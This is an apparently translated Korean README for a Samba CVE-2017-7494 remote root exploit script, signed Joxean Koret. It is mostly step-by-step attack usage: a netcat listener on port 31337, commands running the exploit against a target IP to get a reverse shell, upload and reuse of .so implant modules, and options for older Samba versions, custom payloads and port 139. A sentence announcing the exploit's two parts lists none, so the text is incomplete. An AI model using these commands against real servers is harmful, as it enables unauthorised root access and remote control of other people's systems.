
SAMBA CVE-2017-7494 취약점용 원격 루트 익스플로잇
SAMBA CVE-2017-7494 취약점을 위한 원격 루트 익스플로잇
이 익스플로잇은 두 부분으로 나뉩니다:
대상이 취약하고 페이로드가 대상 운영 체제 및 아키텍처에 올바른 경우, 익스플로잇은 100% 신뢰할 수 있습니다.
사용자 컴퓨터에서 다음 명령을 실행하십시오:
$ nc -p 31337 -l
그런 다음 대상에 대해 익스플로잇을 실행하고 Netcat으로 다시 연결될 때까지 기다리십시오:
$ python cve_2017_7494.py -t target_ip
리버스 셸을 너무 빨리 닫으면 모듈을 업로드하는 익스플로잇을 다시 실행하는 대신 이미 업로드된 모듈의 경로를 전달할 수 있습니다. /shared/directory/에 "module.so"로 업로드되었다고 가정하면 다음과 같은 명령을 실행합니다:
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
이제 samba 3.5.0 및 3.6.0에 대해 익스플로잇을 실행할 수 있습니다. -o 1 인수만 추가하면 됩니다.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1
이제 사용자 정의 .so 파일을 사용할 수 있습니다.
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
x86 머신에서 이 스크립트를 실행해야 하는 경우, 임플란트 바이너리를 컴파일하면 두 개의 x86 파일이 생성됩니다. -n 1 플래그를 사용하여 컴파일을 비활성화하고 다른 머신에서 libimplantx64.so를 복사할 수 있습니다.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
samba가 포트 139에서만 실행되는 경우 -p 인수를 사용하여 원격 서버 포트를 설정할 수 있습니다.
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
더 이상 지원하지 않습니다.
-- Joxean Koret